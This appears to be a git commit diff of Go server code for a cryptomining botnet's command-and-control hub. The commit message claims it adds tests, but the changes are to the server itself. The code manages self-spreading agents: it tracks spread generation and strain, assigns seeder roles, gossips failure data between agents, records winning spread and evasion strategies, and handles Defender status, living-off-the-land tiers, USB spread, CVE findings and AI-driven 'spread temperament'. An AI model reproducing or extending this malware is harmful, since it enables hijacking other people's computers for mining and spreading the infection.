Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -14,6 +14,7 @@ import (
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/alerts"
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/atlas"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
@@ -158,9 +159,12 @@ type WSHub struct {
|
||||
agentServiceDiscover map[string]cachedServiceDiscover
|
||||
agentLiveTelemetry map[string]map[string]interface{}
|
||||
agentInheritedPhenotype map[string]strategy.InheritedPhenotype
|
||||
agentSubnet map[string]string
|
||||
breedingRegistry *strategy.BreedingRegistry
|
||||
serverPolicy ServerPolicy
|
||||
adaptiveEngine *strategy.AdaptiveEngine
|
||||
failureAtlas *atlas.FailureAtlas
|
||||
subnetImmune *atlas.SubnetImmune
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
@@ -205,6 +209,8 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
agentServiceDiscover: make(map[string]cachedServiceDiscover),
|
||||
agentLiveTelemetry: make(map[string]map[string]interface{}),
|
||||
agentInheritedPhenotype: make(map[string]strategy.InheritedPhenotype),
|
||||
agentSubnet: make(map[string]string),
|
||||
breedingRegistry: strategy.NewBreedingRegistry(),
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
beaconLastSeen: make(map[string]time.Time),
|
||||
beaconCmdQueue: make(map[string][]BeaconCommand),
|
||||
@@ -573,6 +579,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
delete(h.agents, agentID)
|
||||
delete(h.agentConfigs, agentID)
|
||||
delete(h.agentLogs, agentID)
|
||||
delete(h.agentSubnet, agentID)
|
||||
h.mu.Unlock()
|
||||
if h.aiHandler != nil {
|
||||
h.aiHandler.RemoveEngine(agentID)
|
||||
@@ -647,6 +654,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
UTM string `json:"utm"`
|
||||
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||
FleetRole string `json:"fleet_role,omitempty"`
|
||||
SeederMode bool `json:"seeder_mode,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -802,6 +814,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
USBSpread: auth.USBSpread,
|
||||
Campaign: coalesceStr(auth.Campaign, auth.UTM),
|
||||
JoinLane: strings.TrimSpace(auth.JoinLane),
|
||||
ParentAgentID: strings.TrimSpace(auth.ParentAgentID),
|
||||
SpreadGeneration: auth.SpreadGeneration,
|
||||
SpreadStrain: strings.TrimSpace(auth.SpreadStrain),
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
@@ -847,8 +862,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.mu.Lock()
|
||||
startPing = true // fresh connection after displacing old one
|
||||
}
|
||||
domainJoined := prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain
|
||||
ac := &AgentConnection{AgentID: agentID, Conn: conn}
|
||||
h.agents[agentID] = ac
|
||||
h.agentSubnet[agentID] = strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined).Subnet
|
||||
h.mu.Unlock()
|
||||
|
||||
h.FlushBeaconPoliciesToWS(agentID)
|
||||
@@ -895,16 +912,27 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
resp["triple_onion_policy"] = top
|
||||
domainJoined := false
|
||||
if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain {
|
||||
domainJoined = true
|
||||
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 {
|
||||
resp["spread_policy"] = map[string]interface{}{
|
||||
"hashrate_gate_spread_min": policy.HashrateGateSpreadMin,
|
||||
"hashrate_gate_hps": policy.HashrateGateHPS,
|
||||
}
|
||||
}
|
||||
resp["atlas_lan_gossip_enabled"] = policy.AtlasLanGossipEnabled
|
||||
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
|
||||
var inherited *strategy.InheritedPhenotype
|
||||
if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
|
||||
pheno := strategy.PhenotypeFromStored(*stored)
|
||||
inh := pheno.ToInherited()
|
||||
inherited = &inh
|
||||
} else if h.breedingRegistry != nil {
|
||||
if bred, ok := h.breedingRegistry.GetBred(fp.Key()); ok {
|
||||
inh := bred.ToInherited()
|
||||
inherited = &inh
|
||||
}
|
||||
}
|
||||
if inherited != nil {
|
||||
inh := *inherited
|
||||
h.mu.Lock()
|
||||
h.agentInheritedPhenotype[agentID] = inh
|
||||
h.mu.Unlock()
|
||||
@@ -938,11 +966,32 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
resp["adaptive_strategy"] = adaptive
|
||||
}
|
||||
if policy.AIControlEnabled {
|
||||
resp["spread_temperament"] = fleetai.PersonaSpreadTemperament(policy.AIPersona)
|
||||
}
|
||||
if h.clearance != nil {
|
||||
level := h.clearance.InitAgent(agentID, agent)
|
||||
resp["clearance_level"] = level
|
||||
agent.ClearanceLevel = level
|
||||
}
|
||||
bakedRole := normalizeFleetRole(auth.FleetRole)
|
||||
if auth.SeederMode {
|
||||
bakedRole = "seeder"
|
||||
}
|
||||
h.storeAgentFleetRole(agentID, bakedRole)
|
||||
if policy.FleetRolesEnabled {
|
||||
seederCapable := auth.SeederMode || bakedRole == "seeder"
|
||||
hint := h.fleetRoleHintForAuth(agentID, bakedRole, clientIP, seederCapable)
|
||||
if hint != "" {
|
||||
resp["fleet_role_hint"] = hint
|
||||
h.storeAgentFleetRole(agentID, hint)
|
||||
}
|
||||
if hint != "seeder" {
|
||||
if seeders := h.lanSeedersForMiner(clientIP); len(seeders) > 0 {
|
||||
resp["lan_seeders"] = seeders
|
||||
}
|
||||
}
|
||||
}
|
||||
return resp
|
||||
}())})
|
||||
|
||||
@@ -1072,6 +1121,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AtlasSkips []atlas.AtlasSkip `json:"atlas_skips,omitempty"`
|
||||
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||
FleetRole string `json:"fleet_role,omitempty"`
|
||||
SeedPressure float64 `json:"seed_pressure,omitempty"`
|
||||
HashratePressure float64 `json:"hashrate_pressure,omitempty"`
|
||||
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
|
||||
VulnFindings []struct {
|
||||
CVEID string `json:"cve_id"`
|
||||
@@ -1232,6 +1287,24 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if stats.JoinLane != "" {
|
||||
broadcast["join_lane"] = stats.JoinLane
|
||||
}
|
||||
if stats.ParentAgentID != "" {
|
||||
broadcast["parent_agent_id"] = stats.ParentAgentID
|
||||
}
|
||||
if stats.SpreadGeneration > 0 || stats.ParentAgentID != "" {
|
||||
broadcast["spread_generation"] = stats.SpreadGeneration
|
||||
}
|
||||
if stats.SpreadStrain != "" {
|
||||
broadcast["spread_strain"] = stats.SpreadStrain
|
||||
}
|
||||
if stats.FleetRole != "" {
|
||||
broadcast["fleet_role"] = stats.FleetRole
|
||||
}
|
||||
if stats.SeedPressure > 0 {
|
||||
broadcast["seed_pressure"] = stats.SeedPressure
|
||||
}
|
||||
if stats.HashratePressure > 0 {
|
||||
broadcast["hashrate_pressure"] = stats.HashratePressure
|
||||
}
|
||||
if len(stats.NetworkHints) > 0 && string(stats.NetworkHints) != "null" {
|
||||
var hints interface{}
|
||||
if err := json.Unmarshal(stats.NetworkHints, &hints); err == nil {
|
||||
@@ -1270,8 +1343,34 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier)
|
||||
h.ingestAtlasFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderEnabled, stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts)
|
||||
h.tryPublishWinningPhenotype(agentID, "", clientIPFromBroadcast(broadcast), stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier, stats.JoinLane, stats.ChainOrder)
|
||||
h.ingestFleetPressure(agentID, broadcast)
|
||||
h.queueStatsBroadcast(broadcast)
|
||||
|
||||
case "scout_report":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
var report struct {
|
||||
JoinLane string `json:"join_lane"`
|
||||
ServiceCount int `json:"service_count"`
|
||||
ScoutMode bool `json:"scout_mode"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &report); err != nil {
|
||||
continue
|
||||
}
|
||||
if !report.ScoutMode {
|
||||
continue
|
||||
}
|
||||
ag, _ := h.db.GetAgent(agentID)
|
||||
platform, ip := "", ""
|
||||
var firewallDomain *bool
|
||||
if ag != nil {
|
||||
platform = ag.Platform
|
||||
ip = ag.IP
|
||||
firewallDomain = ag.FirewallDomain
|
||||
}
|
||||
h.tryPublishScoutPhenotype(agentID, platform, ip, firewallDomain, report.JoinLane, report.ServiceCount)
|
||||
|
||||
case "ai_snapshot":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -1472,6 +1571,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.ingestStrategyFromPayload(agentID, payload)
|
||||
h.queueStatsBroadcast(payload)
|
||||
|
||||
case "atlas_gossip":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
h.handleAgentAtlasGossip(agentID, msg.Payload)
|
||||
|
||||
case "command_result":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -1810,6 +1915,9 @@ func (h *WSHub) RemoveAgent(agentID string) {
|
||||
|
||||
// SendAgentCommand sends a remote command to an agent.
|
||||
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
|
||||
if err := h.checkSubnetSpreadImmune(agentID, action, args); err != nil {
|
||||
return err
|
||||
}
|
||||
if h.isAgentConnected(agentID) {
|
||||
payload := map[string]interface{}{"action": action}
|
||||
for k, v := range args {
|
||||
@@ -2070,6 +2178,75 @@ func (h *WSHub) tryPublishWinningPhenotype(
|
||||
if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil {
|
||||
log.Printf("[phenotype] publish: %v", err)
|
||||
}
|
||||
if h.breedingRegistry != nil {
|
||||
h.breedingRegistry.RecordLaneWinner(strategy.LaneWinnerInput{
|
||||
Fingerprint: fp.Key(),
|
||||
SpreadLane: strings.TrimSpace(joinLane),
|
||||
TierOrder: tierOrder,
|
||||
ActiveTier: strings.TrimSpace(activeTier),
|
||||
PeakHashrate: miningHashrate,
|
||||
FailedTiers: strategy.FailedTierSet(stratAttempts),
|
||||
SourceAgentName: ag.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) tryPublishScoutPhenotype(
|
||||
agentID, platform, ip string,
|
||||
firewallDomain *bool,
|
||||
joinLane string,
|
||||
serviceCount int,
|
||||
) {
|
||||
if h.db == nil || (strings.TrimSpace(joinLane) == "" && serviceCount <= 0) {
|
||||
return
|
||||
}
|
||||
ag, err := h.db.GetAgent(agentID)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if platform == "" {
|
||||
platform = ag.Platform
|
||||
}
|
||||
if ip == "" {
|
||||
ip = ag.IP
|
||||
}
|
||||
if firewallDomain == nil {
|
||||
firewallDomain = ag.FirewallDomain
|
||||
}
|
||||
domainJoined := firewallDomain != nil && *firewallDomain
|
||||
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
|
||||
lane := strings.TrimSpace(joinLane)
|
||||
if lane == "" {
|
||||
lane = "service_graph"
|
||||
}
|
||||
tierOrder := []string{"service_graph", "discover_and_join"}
|
||||
if lane != "service_graph" && lane != "discover_and_join" {
|
||||
tierOrder = append(tierOrder, lane)
|
||||
}
|
||||
pheno := strategy.FleetPhenotype{
|
||||
SourceAgentID: agentID,
|
||||
SourceAgentName: ag.Name,
|
||||
Fingerprint: fp.Key(),
|
||||
OS: fp.GOOS,
|
||||
SpreadLane: lane,
|
||||
ActiveTier: "service_graph",
|
||||
TierOrder: tierOrder,
|
||||
PeakHashrate: 0,
|
||||
CreatedAt: time.Now().UTC(),
|
||||
}
|
||||
if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil {
|
||||
log.Printf("[phenotype] scout publish: %v", err)
|
||||
}
|
||||
if h.breedingRegistry != nil {
|
||||
h.breedingRegistry.RecordLaneWinner(strategy.LaneWinnerInput{
|
||||
Fingerprint: fp.Key(),
|
||||
SpreadLane: lane,
|
||||
TierOrder: tierOrder,
|
||||
ActiveTier: "service_graph",
|
||||
PeakHashrate: float64(serviceCount),
|
||||
SourceAgentName: ag.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func parseStringSliceField(raw interface{}) []string {
|
||||
|
||||
Reference in New Issue
Block a user